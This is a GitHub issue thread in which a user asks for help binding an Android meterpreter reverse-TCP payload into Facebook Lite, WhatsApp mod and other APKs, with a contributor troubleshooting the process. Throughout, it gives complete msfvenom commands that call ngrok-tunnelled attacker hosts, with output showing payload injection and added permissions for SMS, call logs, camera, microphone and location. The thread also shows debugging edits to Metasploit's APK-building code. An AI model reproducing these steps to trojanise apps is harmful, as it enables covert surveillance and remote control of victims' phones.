Skip to content

Problem with apktool #547

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
Samshow-cyber opened this issue Mar 1, 2022 · 64 comments
Closed

Problem with apktool #547

Samshow-cyber opened this issue Mar 1, 2022 · 64 comments
Labels

Comments

@Samshow-cyber
Copy link

Samshow-cyber commented Mar 1, 2022

Good day my fellow Ethical Hackers... I'm having a frustrating issue with apktool when binding payload to an apk file.

I actually binded a payload to an app called "Myidea.apk" and it was successful. But when I tried to do the same for other apk files like Messenger, FacebookLite, etc. I always get an error saying "Unable to rebuild apk with apktool" And its the same apktool I used for the "Myidea.apk". Why is it working on this apk and not working on others? I think it's a problem with Apktool. Is there a way I can use Apk Easy Tool in Linux Terminal? Please help!!

@bcoles
Copy link
Contributor

bcoles commented Mar 1, 2022

There's not enough information to reproduce your issue. Works for me.

# ./msfvenom -x facebook_lite_v291.0.0.12.110.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=1337 -o asdf.apk
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: facebook_lite_v291.0.0.12.110.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.ahnyf
[*] Loading /tmp/d20220301-516712-s0hkbt/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220301-516712-s0hkbt/output.apk
[*] Signing /tmp/d20220301-516712-s0hkbt/output.apk
[*] Aligning /tmp/d20220301-516712-s0hkbt/output.apk
Payload size: 1990158 bytes
Saved as: asdf.apk

What apk are you using? What output do you get? What error message do you get?

@Samshow-cyber
Copy link
Author

I used Facebook lite apk downloaded from playstore. I download it on my android device from playstore and I extracted the apk file with apk extractor. I then transfered the extracted apk file to my desktop and decided to perform the payload operation. (On linux Terminal)

The error I got was: "Unable to rebuild apk with apktool"

Let me try to perform the operation again and send you the whole command process.

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x facebooklite.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=16326 -o mypayload.apk
Using APK template: facebooklite.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.facebook.lite.hitdk
[*] Loading /tmp/d20220301-1812-yqza8y/original/smali/com/facebook/lite/ClientApplicationSplittedShell.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220301-1812-yqza8y/output.apk
[-] I: Using Apktool 2.4.0-dirty
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether resources has changed...
I: Building resources...
W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary)
W: First type is not attr!
W: A/        ( 1974): First type is not attr!
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 134): [aapt, p, --min-sdk-version, 15, --target-sdk-version, 31, --version-code, 353534974, --version-name, 292.0.0.9.109, --no-version-vectors, -F, /tmp/APKTOOL16846817789747241704.tmp, -0, arsc, -0, txt, -0, bin, -0, assets/lib/libs.spk.xz, -0, png, -0, arsc, -I, /home/samshow/.local/share/apktool/framework/1.apk, -S, /tmp/d20220301-1812-yqza8y/original/res, -M, /tmp/d20220301-1812-yqza8y/original/AndroidManifest.xml]
Error: Unable to rebuild apk with apktool
samshow@samshow-VirtualBox:~/Downloads$ 

@bcoles This is the issue I'm currently facing. Can you get anything from this?

@Samshow-cyber
Copy link
Author

I noticed your port number is just 4 digit. Mine is 5 digit and I think it's because I'm using Ngrok tunneling service.

I will try the same process with another apk (myidea.apk) and I will send the output so you can see it's working for Myidea apk.

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=16326 -o mypayload.apk
Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.codezync.myidea.app.vwoce
[*] Loading /tmp/d20220301-2738-dekabb/original/smali/com/codezync/idea/app/SplashScreenActivity.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220301-2738-dekabb/output.apk
[*] Signing /tmp/d20220301-2738-dekabb/output.apk
[*] Aligning /tmp/d20220301-2738-dekabb/output.apk
Payload size: 2830622 bytes
Saved as: mypayload.apk
samshow@samshow-VirtualBox:~/Downloads$ 

This is the output for myidea.apk. It was successful.

Please why is this happening? I really don't know where the mistake comes from.

@Samshow-cyber
Copy link
Author

@bcoles @darkbushido @todb @techpeace please help with the above issue🙏

@bcoles
Copy link
Contributor

bcoles commented Mar 2, 2022

You could try updating apktool. Version 2.4.0-dirty is quite old. Updating has resolved similar issues in the past.

Remove apktool:

sudo apt remove apktool
sudo apt autoremove

Then install the latest apktool:

@Samshow-cyber
Copy link
Author

Ok. Please don't close this issue yet. I will update you on what happen after updating apktool. Please keep in touch... Thanks!

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:$ cd /home/samshow/Downloads
samshow@samshow-VirtualBox:
/Downloads$ msfvenom -x facebooklite.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13693 -o Payface.apk

[?] Would you like to init the webservice? (Not Required) [no]: n
[?] Would you like to delete your existing data and configurations? []: n
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/samshow/.msf4/db...success
Using APK template: facebooklite.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
Error: undefined method `[]' for nil:NilClass

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x facebooklite.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13693 -o Payface.apk

Using APK template: facebooklite.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
Error: undefined method `[]' for nil:NilClass

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x gbwhatsapp.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13693 -o Payface.apk

Using APK template: gbwhatsapp.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
Error: undefined method `[]' for nil:NilClass

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x myidea.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13693 -o Payface.apk

Using APK template: myidea.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..

|

Hello @bcoles Here are different trials of payload binding using the latest apktool version (2.6.1) with different apk files. The last one I tried with myidea.apk is not even proceeding. I honestly don't know why this is happening. Please help!

@bcoles
Copy link
Contributor

bcoles commented Mar 3, 2022

Do you have a link to the apk files?

@Samshow-cyber
Copy link
Author

Samshow-cyber commented Mar 3, 2022

Some of those apk files are extracted from the applications on my android device. I extracted those apps on my android device using apk extractor so as to get the apk files. It's only the "Myidea.apk" I downloaded from apkpure.com website.

Can it be those apk files that has problem?

@Samshow-cyber
Copy link
Author

And the Myidea.apk worked with apktool version 2.4.0 dirty. But freezes in the latest version. While other apks I tried failed to be rebuilded by apktool version 2.4.0 dirty and say 'Nil class' in the latest version.

Please check anything you can do to help. If you need more information, I can provide. Thanks @bcoles and I awaits your response.

@bcoles
Copy link
Contributor

bcoles commented Mar 3, 2022

Can it be those apk files that has problem?

Maybe.

Have you removed the old version of apktool? Ensure aptkool -version prints the correct version.

It's only the "Myidea.apk" I downloaded from apkpure.com website.

https://apkpure.com/my-idea/com.abosch.miidea/download?from=details works for me.

# ./msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=192.168.200.130 LPORT=1337 -o asdf.apk 
/usr/lib/ruby/2.7.0/timeout.rb:50: warning: already initialized constant Timeout::THIS_FILE
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:53: warning: previous definition of THIS_FILE was here
/usr/lib/ruby/2.7.0/timeout.rb:51: warning: already initialized constant Timeout::CALLER_OFFSET
/var/lib/gems/2.7.0/gems/timeout-0.2.0/lib/timeout.rb:54: warning: previous definition of CALLER_OFFSET was here
Using APK template: MyIdea_v1.4_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.abosch.miidea.mwnuy
[*] Loading /tmp/d20220302-593995-euam78/original/smali/com/abosch/miidea/MainActivity.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220302-593995-euam78/output.apk
[*] Signing /tmp/d20220302-593995-euam78/output.apk
[*] Aligning /tmp/d20220302-593995-euam78/output.apk
Payload size: 6093330 bytes
Saved as: asdf.apk

@bcoles
Copy link
Contributor

bcoles commented Mar 3, 2022

Perhaps the following diff will offer some clues:

# git diff lib/msf/core/payload/apk.rb 
diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb
index 9d1357109b..6051def40f 100644
--- a/lib/msf/core/payload/apk.rb
+++ b/lib/msf/core/payload/apk.rb
@@ -208,6 +208,7 @@ class Msf::Payload::Apk
     amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
 
     print_status "Locating hook point..\n"
+    puts amanifest.inspect
     hookable_class = find_hook_point(amanifest)
     smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
     smalifiles = Dir.glob(smalifile)

I presume that the xpath queries are failing.

package = amanifest.xpath("//manifest").first['package']

But it is impossible to debug without being able to reproduce the issue.

@Samshow-cyber
Copy link
Author

Perhaps the following diff will offer some clues:

# git diff lib/msf/core/payload/apk.rb 
diff --git a/lib/msf/core/payload/apk.rb b/lib/msf/core/payload/apk.rb
index 9d1357109b..6051def40f 100644
--- a/lib/msf/core/payload/apk.rb
+++ b/lib/msf/core/payload/apk.rb
@@ -208,6 +208,7 @@ class Msf::Payload::Apk
     amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
 
     print_status "Locating hook point..\n"
+    puts amanifest.inspect
     hookable_class = find_hook_point(amanifest)
     smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
     smalifiles = Dir.glob(smalifile)

I presume that the xpath queries are failing.

package = amanifest.xpath("//manifest").first['package']

But it is impossible to debug without being able to reproduce the issue.

So what's the next Go-to now? Please direct me on what to do. Please!!🙏

Are you saying I should enter the above commands for clues? Please reply as soon as possible. THANKS

@Samshow-cyber
Copy link
Author

Maybe there's a particular software that is not in place or a particular system software needs update. I'm confused.

I tried the apktool version. And it printed the right version 2.6.1

@Samshow-cyber
Copy link
Author

@bcoles can it be because of the LHOST and LPORT? Coz yours looks like this: LHOST=192.168.200.130 LPORT=1337 and I am using the Ngrok server which give a particular lhost and lport number (5 digit). Can that cause the issue?

@bcoles
Copy link
Contributor

bcoles commented Mar 3, 2022

So what's the next Go-to now? Please direct me on what to do.

Edit lib/msf/core/payload/apk.rb. Add puts amanifest.inspect after print_status "Locating hook point..\n". Refer to the pretty color coded diff above if you get confused.

Try to create your APK again. Paste the output.

@bcoles can it be because of the LHOST and LPORT? Coz yours looks like this: LHOST=192.168.200.130 LPORT=1337 and I am using the Ngrok server which give a particular lhost and lport number (5 digit). Can that cause the issue?

Possibly but unlikely.

@bcoles
Copy link
Contributor

bcoles commented Mar 3, 2022

Maybe there's a particular software that is not in place or a particular system software needs update. I'm confused.

I tried the apktool version. And it printed the right version 2.6.1

Possible. See if you can use this as a template: https://apkpure.com/my-idea/com.abosch.miidea/download?from=details

@Samshow-cyber
Copy link
Author

I really don't know what to do with the above colored codes you wrote. I don't fully understand. I have made tons of researches on how to understand what you wrote so I won't disturb you too much but I didn't get any clue.

Please can you make it simple for me to understand? I would really appreciate if you can break the steps down for me. What to write first and after (Like step 1, do this, step 2 do this and like that) so I will be able to understand. I actually tried the git command but my terminal said I should install git, which I did but I still don't get it. Please comment the step by step process as soon as you see this.

Thank you @bcoles

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=17108 -o Paykick.apk
Using APK template: MyIdea_v1.4_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
|

Look at the apkpure file you used and worked... Its still doing the same on my side. Stops at Decompiling Original Apk

This is seriously serious bro. Lol

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

I really don't know what to do with the above colored codes you wrote. I don't fully understand. I have made tons of researches on how to understand what you wrote so I won't disturb you too much but I didn't get any clue.

Edit lib/msf/core/payload/apk.rb. Add a line that says puts amanifest.inspect after the line that says print_status "Locating hook point..\n".

Try to create your APK again. Paste the output.

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

Are you sure your APK files are valid?

I was able to reproduce this error using a malformed APK file (an empty file).

user@linux-mint-20-x64:~/Desktop/metasploit-framework$ touch asdf.apk
user@linux-mint-20-x64:~/Desktop/metasploit-framework$ ./msfvenom -x asdf.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=17108 -o Paykick.apk 
Using APK template: asdf.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: undefined method `[]' for nil:NilClass
samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=17108 -o Paykick.apk
Using APK template: MyIdea_v1.4_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
|

Look at the apkpure file you used and worked... Its still doing the same on my side. Stops at Decompiling Original Apk

This is seriously serious bro. Lol

I installed Metasploit, apktool 2.6.1, openjdk-17-jre, openjdk-17-jdk, and zipalign on a Linux Mint 20 box. Works for me.

Does your APK file match the md5sum 5fb05908bfc18d6fcaa9fb710fad18d9 ?

user@linux-mint-20-x64:~/Desktop/metasploit-framework$ md5sum MyIdea_v1.4_apkpure.com.apk 
5fb05908bfc18d6fcaa9fb710fad18d9  MyIdea_v1.4_apkpure.com.apk
user@linux-mint-20-x64:~/Desktop/metasploit-framework$ ./msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=17108 -o Paykick.apk 
Using APK template: MyIdea_v1.4_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[*] Creating signing key and keystore..
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Adding payload as package com.abosch.miidea.nopkj
[*] Loading /tmp/d20220304-18634-1lz56l4/original/smali/com/abosch/miidea/MainActivity.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_SMS"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
[*] Adding <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
[*] Adding <uses-permission android:name="android.permission.RECORD_AUDIO"/>
[*] Adding <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
[*] Adding <uses-permission android:name="android.permission.CAMERA"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.READ_SMS"/>
[*] Adding <uses-permission android:name="android.permission.CALL_PHONE"/>
[*] Adding <uses-permission android:name="android.permission.SEND_SMS"/>
[*] Adding <uses-permission android:name="android.permission.READ_CONTACTS"/>
[*] Adding <uses-permission android:name="android.permission.SET_WALLPAPER"/>
[*] Adding <uses-permission android:name="android.permission.READ_CALL_LOG"/>
[*] Adding <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
[*] Adding <uses-permission android:name="android.permission.WAKE_LOCK"/>
[*] Rebuilding apk with meterpreter injection as /tmp/d20220304-18634-1lz56l4/output.apk
[*] Signing /tmp/d20220304-18634-1lz56l4/output.apk
[*] Aligning /tmp/d20220304-18634-1lz56l4/output.apk
Payload size: 6093377 bytes
Saved as: Paykick.apk
user@linux-mint-20-x64:~/Desktop/metasploit-framework$ file Paykick.apk
Paykick.apk: Zip archive data, at least v2.0 to extract
user@linux-mint-20-x64:~/Desktop/metasploit-framework$ uname -a
Linux linux-mint-20-x64 5.4.0-26-generic #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
user@linux-mint-20-x64:~/Desktop/metasploit-framework$ 

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

Can you paste the output of these commands?

file MyIdea_v1.4_apkpure.com.apk
md5sum MyIdea_v1.4_apkpure.com.apk
keytool -printcert -jarfile MyIdea_v1.4_apkpure.com.apk

@Samshow-cyber
Copy link
Author

user@linux-mint-20-x64:/Desktop/metasploit-framework$ md5sum MyIdea_v1.4_apkpure.com.apk
5fb05908bfc18d6fcaa9fb710fad18d9 MyIdea_v1.4_apkpure.com.apk
user@linux-mint-20-x64:
/Desktop/metasploit-framework$ ./msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=6.tcp.ngrok.io LPORT=17108 -o Paykick.apk

In this case, did you save the apk file inside Desktop/metasploit-framework path?

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

In this case, did you save the apk file inside Desktop/metasploit-framework path?

Yes

@Samshow-cyber
Copy link
Author

Samshow-cyber commented Mar 4, 2022

Can you paste the output of these commands?

file MyIdea_v1.4_apkpure.com.apk
md5sum MyIdea_v1.4_apkpure.com.apk
keytool -printcert -jarfile MyIdea_v1.4_apkpure.com.apk
samshow@samshow-VirtualBox:~$ file MyIdea_v1.4_apkpure.com.apk
MyIdea_v1.4_apkpure.com.apk: cannot open `MyIdea_v1.4_apkpure.com.apk' (No such file or directory)
samshow@samshow-VirtualBox:~$ md5sum MyIdea_v1.4_apkpure.com.apk
md5sum: MyIdea_v1.4_apkpure.com.apk: No such file or directory
samshow@samshow-VirtualBox:~$ keytool -printcert -jarfile MyIdea_v1.4_apkpure.com.apk
keytool error: java.nio.file.NoSuchFileException: MyIdea_v1.4_apkpure.com.apk

This is what I got when I used these commands

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

This is what I got when I used those commands

Please run those commands on the MyIdea_v1.4_apkpure.com.apk file you downloaded.

@Samshow-cyber
Copy link
Author

This is what I got when I used those commands

Please run those commands on the MyIdea_v1.4_apkpure.com.apk file you downloaded.

Yeah check the updated comment. I got error messages

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

This is what I got when I used those commands

Please run those commands on the MyIdea_v1.4_apkpure.com.apk file you downloaded.

Yeah check the updated comment. I got error messages

Please run those commands on the MyIdea_v1.4_apkpure.com.apk file you downloaded.

@Samshow-cyber
Copy link
Author

Its still got stuck again. SMH!

@Samshow-cyber
Copy link
Author

samshow@samshow-VirtualBox:~/Downloads$ ```
msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=13413 -o Paykick.apk
[?] Would you like to init the webservice? (Not Required) [no]: n
[?] Would you like to delete your existing data and configurations? []: n
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/samshow/.msf4/db...success
Using APK template: MyIdea_v1.4_apkpure.com.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[
] Decompiling original APK..
|


@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

Find these lines in lib/msf/core/payload/apk.rb:

    print_status "Decompiling original APK..\n"
    run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])

Change them to:

    print_status "Decompiling original APK..\n"
    puts run_cmd(['apktool', 'd', "#{tempdir}/original.apk", '-o', "#{tempdir}/original"])

(note the extra puts)

Then try again and paste the output.

@Samshow-cyber
Copy link
Author

[?] Would you like to init the webservice? (Not Required) [no]: n
[?] Would you like to delete your existing data and configurations? []: n
Clearing http web data service credentials in msfconsole
Running the 'init' command for the database:
Existing database found, attempting to start it
Starting database at /home/samshow/.msf4/db...success

What does this means?

@Samshow-cyber
Copy link
Author

lib/msf/core/payload/apk.rb

Do you mean I will open a new terminal and run this command lib/msf/core/payload/apk.rb to find the lines?

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

lib/msf/core/payload/apk.rb

Do you mean I will open a new terminal and run this command lib/msf/core/payload/apk.rb to find the lines?

No. I mean open that file in a text editor.

@Samshow-cyber
Copy link
Author

Samshow-cyber commented Mar 4, 2022

see this

Couldn't find the path.

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

Couldn't find the path.

Probably for the best.

The APK parsing is undergoing a bunch of improvements. Check back in a few weeks.

@Samshow-cyber
Copy link
Author

So I will have to wait for few weeks? Why is the path not showing on my computer?

@Samshow-cyber
Copy link
Author

I couldn't find msf inside lib. Why is it not there? Please let me know

@Samshow-cyber
Copy link
Author

@bcoles please before you leave me. Can you tell me why I couldn't find the file on my computer?

@bcoles
Copy link
Contributor

bcoles commented Mar 4, 2022

@bcoles please before you leave me. Can you tell me why I couldn't find the file on my computer?

It is located in the root of the metasploit directory - wherever it is installed.

Probably: /usr/share/metasploit-framework/lib/msf/core/payload/apk.rb

@Samshow-cyber
Copy link
Author

Hey @bcoles. I finally located the file and I edited the lines you told me to edit by adding Puts. Then I tried to run the apk file again but its still the same.

Could it be because I installed my Metasploit from the Terminal? Coz the path where I found the Metasploit installed was in opt/Metasploit I really don't know why this is happening to me

@bcoles
Copy link
Contributor

bcoles commented Mar 5, 2022

Hey @bcoles. I finally located the file and I edited the lines you told me to edit by adding Puts. Then I tried to run the apk file again but its still the same.

Adding puts won't fix your issue but it will print more information which might help narrow down the issue.

Some changes have been made to the APK parsing, but didn't make it into the release this week. They will be in the release on Friday next week and should be available when you update Metasploit. These changes won't fix your issue, but they will print additional information which may help diagnose the root cause.

Could it be because I installed my Metasploit from the Terminal? Coz the path where I found the Metasploit installed was in opt/Metasploit I really don't know why this is happening to me

no

@Samshow-cyber
Copy link
Author

Samshow-cyber commented Mar 5, 2022

Ok when I added Puts nothing changed and no information was printed. But when I added + puts amanifest.inspect after the Locating hook point line, below is what I got:

samshow@samshow-VirtualBox:~/Downloads$ msfvenom -x MyIdea_v1.4_apkpure.com.apk -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=14329 -o Paykick.apk
/opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/kernel.rb:27:in `require': /opt/metasploit-framework/embedded/framework/lib/msf/core/payload/apk.rb:208: syntax error, unexpected local variable or method, expecting `do' or '{' or '(' (SyntaxError)
+   puts amanifest.inspect
         ^~~~~~~~~
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/kernel.rb:27:in `require'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:95:in `const_get'
	from /opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/zeitwerk-2.5.4/lib/zeitwerk/loader/helpers.rb:95:in `cget'
